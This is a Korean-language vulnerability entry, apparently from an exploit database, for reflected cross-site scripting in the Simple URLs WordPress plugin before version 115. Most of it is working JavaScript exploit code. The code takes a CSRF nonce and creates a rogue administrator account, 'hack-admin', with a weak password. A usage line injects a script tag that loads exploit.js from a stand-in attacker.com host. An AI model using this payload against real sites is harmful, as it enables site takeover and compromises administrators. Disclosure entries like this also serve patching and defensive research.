
단순 URL < 115 - 반사형 XSS
설명 Simple URLs WordPress 플러그인 115 이전 버전은 일부 매개변수를 일부 페이지에 출력하기 전에 삭제(sanitise)하거나 이스케이프하지 않아 Reflected Cross-Site Scripting(반사형 XSS)에 취약하며, 이는 관리자와 같은 높은 권한의 사용자를 대상으로 악용될 수 있습니다.
악용 코드:
function getCSRFToken(url, csrf_token_id, func){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var parser = new DOMParser();
var htmlDocument = parser.parseFromString(this.responseText, "text/html");
var token = htmlDocument.getElementById(csrf_token_id).value;
func(token);
}
};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();
}
function addAdmin(token){
var xhr = new XMLHttpRequest();
xhr.open("POST","http://vulnerable.site/wp-admin/user-new.php", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=createuser&_wpnonce_create-user=" + token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=hack-admin&[email protected]&first_name=&last_name=&url=&pass1=1234&pass2=1234&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User");
}
getCSRFToken("http://vulnerable.site/wp-admin/user-new.php", "_wpnonce_create-user", addAdmin);
사용 방법:
https://vulnerable.com/wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=</script><script src="https://attacker.com/exploit.js"></script>